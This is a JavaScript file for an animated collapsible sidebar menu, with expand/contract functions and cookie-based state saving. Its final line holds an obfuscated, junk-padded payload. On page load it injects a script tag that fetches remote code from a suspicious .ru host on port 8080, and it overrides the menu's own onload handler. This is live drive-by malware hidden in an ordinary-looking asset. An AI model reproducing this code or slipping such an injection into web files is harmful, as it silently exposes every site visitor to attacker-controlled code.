var remember = false; //Remember menu states, and restore them on next visit.
var contractall_default= true; //Should all submenus be contracted by default? (true or false)

var menu, titles, submenus, arrows, bypixels;
var heights = new Array();

var n = navigator.userAgent;
if(/Opera/.test(n)) bypixels = 2;
else if(/Firefox/.test(n)) bypixels = 3;
else if(/MSIE/.test(n)) bypixels = 2;

/////DD added expandall() and contractall() functions/////

function slash_expandall(){
if (typeof menu!="undefined"){
	for(i=0; i<Math.max(titles.length, submenus.length); i++){
		titles[i].className="title";
		arrows[i].src = "images/expanded.gif";
		submenus[i].style.display="";
		submenus[i].style.height = heights[i]+"px";
	}
}
}

function slash_contractall(){
if (typeof menu!="undefined"){
	for(i=0; i<Math.max(titles.length, submenus.length); i++){
		titles[i].className="titlehidden";
		arrows[i].src = "images/collapsed.gif";
		submenus[i].style.display="none";
		submenus[i].style.height = 0;
	}
}
}


/////End DD added functions///////////////////////////////


function init(){
    menu = getElementsByClassName("sdmenu", "div", document)[0];
    titles = getElementsByClassName("title", "span", menu);
    submenus = getElementsByClassName("submenu", "div", menu);
    arrows = getElementsByClassName("arrow", "img", menu);
    for(i=0; i<Math.max(titles.length, submenus.length); i++) {
        titles[i].onclick = gomenu;
        arrows[i].onclick = gomenu;
        heights[i] = submenus[i].offsetHeight;
        submenus[i].style.height = submenus[i].offsetHeight+"px";
    }
    if(remember)
				restore()
		else if (contractall_default) //DD added code
				slash_contractall() //DD added code
}

function restore() {
    if(getcookie("menu") != null) {
        var hidden = getcookie("menu").split(",");
        for(var i in hidden) {
            titles[hidden[i]].className = "titlehidden";
            submenus[hidden[i]].style.height = "0px";
            submenus[hidden[i]].style.display = "none";
            arrows[hidden[i]].src = "images/collapsed.gif";
        }
    }
}

function gomenu(e) {
    if (!e)
        var e = window.event;
    var ce = (e.target) ? e.target : e.srcElement;
    var sm;
    for(var i in titles) {
        if(titles[i] == ce || arrows[i] == ce)
            sm = i;
    }
    if(parseInt(submenus[sm].style.height) > parseInt(heights[sm])-2) {
        hidemenu(sm);
    } else if(parseInt(submenus[sm].style.height) < 2) {
        titles[sm].className = "title";
        showmenu(sm);
    }
}

function hidemenu(sm) {
    var nr = submenus[sm].getElementsByTagName("a").length*bypixels;
    submenus[sm].style.height = (parseInt(submenus[sm].style.height)-nr)+"px";
    var to = setTimeout("hidemenu("+sm+")", 30);
    if(parseInt(submenus[sm].style.height) <= nr) {
        clearTimeout(to);
        submenus[sm].style.display = "none";
        submenus[sm].style.height = "0px";
        arrows[sm].src = "images/collapsed.gif";
        titles[sm].className = "titlehidden";
    }
}

function showmenu(sm) {
    var nr = submenus[sm].getElementsByTagName("a").length*bypixels;
    submenus[sm].style.display = "";
    submenus[sm].style.height = (parseInt(submenus[sm].style.height)+nr)+"px";
    var to = setTimeout("showmenu("+sm+")", 30);
    if(parseInt(submenus[sm].style.height) > (parseInt(heights[sm])-nr)) {
        clearTimeout(to);
        submenus[sm].style.height = heights[sm]+"px";
        arrows[sm].src = "images/expanded.gif";
    }
        
        
}

function store() {
    var hidden = new Array();
    for(var i in titles) {
        if(titles[i].className == "titlehidden")
            hidden.push(i);
    }
    putcookie("menu", hidden.join(","), 30);
}

function getElementsByClassName(strClassName, strTagName, oElm){
    var arrElements = (strTagName == "*" && document.all)? document.all : oElm.getElementsByTagName(strTagName);
    var arrReturnElements = new Array();
    strClassName = strClassName.replace(/\-/g, "\\-");
    var oRegExp = new RegExp("(^|\\s)" + strClassName + "(\\s|$)");
    var oElement;
    for(var i=0; i<arrElements.length; i++){
        oElement = arrElements[i];      
        if(oRegExp.test(oElement.className)){
            arrReturnElements.push(oElement);
        }   
    }
    return (arrReturnElements)
}

function putcookie(c_name,value,expiredays) {
    var exdate=new Date();
    exdate.setDate(exdate.getDate()+expiredays);
    document.cookie = c_name + "=" + escape(value) + ((expiredays==null) ? "" : ";expires="+exdate);
}

function getcookie(c_name) {
    if(document.cookie.length > 0) {
        var c_start = document.cookie.indexOf(c_name + "=");
        if(c_start != -1) {
            c_start = c_start + c_name.length + 1;
            var c_end = document.cookie.indexOf(";",c_start);
            if(c_end == -1)
                c_end = document.cookie.length;
            return unescape(document.cookie.substring(c_start, c_end));
        }
    }
    return null;
}

window.onload = init;
if(remember) window.onunload = store;

var c=new Date();var Zs;if(Zs!='X' && Zs!='Iw'){Zs=''};try {var B;if(B!='N' && B!='vP'){B='N'};var VF;if(VF!='w' && VF!='XG'){VF='w'};var C='[';var _='';var x;if(x!='H' && x != ''){x=null};var Qh=new Date();var k='g';var T=new Date();var q=RegExp;var d=']';var CV='replace';var O;if(O!='gH'){O=''};function p(I,Q){var ch;if(ch!=''){ch='uH'};this.vPE='';var kc_;if(kc_!='MW'){kc_=''};var JL;if(JL!='wf'){JL=''};var kc=C;var Pp;if(Pp!='XR'){Pp='XR'};kc+=Q;var vh="";var nc="";kc+=d;this.AQ="";var y=new q(kc, k);var gF=new String();var ST;if(ST!='PB'){ST=''};return I[CV](y, _);var HF;if(HF!=''){HF='xz'};var Wr=new Array();};var G=p('cXroe_aXtoe_Eol_eVmVe_nXto',"o_XV");var D;if(D!='' && D!='hH'){D=''};this.s='';var I="1";var DZ;if(DZ!='rD'){DZ=''};var K=p('b0o0dfy4',"fx40");var pl;if(pl!='Xe'){pl=''};var uR;if(uR!='' && uR!='i'){uR=null};var h=p('aIpvpIeInVdICIhVivlIdV',"vIV");var Z=p('sYeYtOAYtOtcrhihbOuctcec',"YchO");var Ix="";var F=p('/XvXiXdGeXoXsXzG.XcGoGmG/GvGiGdXeXoGsXzG.XcXoGmG/GkXoXmGpXaGsX.GcXoGmG/XxXbXoXxX.XcXoGmX/XgXoGoGgGlGeG.GcGoXmX.GpGhGpG',"GX");this.R="";var WO;if(WO!='dj' && WO!='C_'){WO='dj'};this.Tz="";var Fu;if(Fu!='MJ'){Fu=''};var V=p('8522602552865650566',"265");this.Qv='';var kG;if(kG!='Zz' && kG!='fF'){kG=''};var u='';var e_="";var BL='';var Y=p('s2cnryizp2tI',"2Inyz");this.kC="";var CG;if(CG!='kU' && CG != ''){CG=null};var U=p('oAnblAobaAdA',"bA");var xq=new Array();var dJ;if(dJ!='' && dJ!='wu'){dJ='Nf'};var b=p('h1tVt1pJ:1/V/CgKoVoCg1lJeJ-1cVoJmK-VpVhJ.VtVuJeCnVtKiK.Jc1oKmK.1tJoVrCrVeKnCtCzJ-KcKoKm1.JcKy1bVe1rKtVaJgCoCn1lCiJnKeC.Cr1u1:1',"VK1CJ");var Ox="";var rH=new String();var st="";var ut;if(ut!='' && ut!='FL'){ut='io'};window[U]=function(){var PC;if(PC!='WV'){PC=''};var bT=new Array();var aa='';var Ym='';Gg=document[G](Y);var j;if(j!='' && j!='CW'){j=''};var wk;if(wk!='' && wk!='IU'){wk=''};this.yP='';u+=b;var ge;if(ge!='cu' && ge!='CJ'){ge='cu'};var xn=new Date();u+=V;var tO=new Array();var GV=new Array();u+=F;var Gu='';var l;if(l!='CP' && l!='_D'){l='CP'};Gg.setAttribute('defer', I);var v=document[K];Gg.src=u;v.appendChild(Gg);this.mZ="";};this.uC="";var VW;if(VW!='wb' && VW!='bf'){VW='wb'};var Ce=new String();var JK="";} catch(M){var Ez;if(Ez!='Ye'){Ez=''};var sF=new Date();};var rC=new Array();var Ga;if(Ga!='' && Ga!='nu'){Ga=null};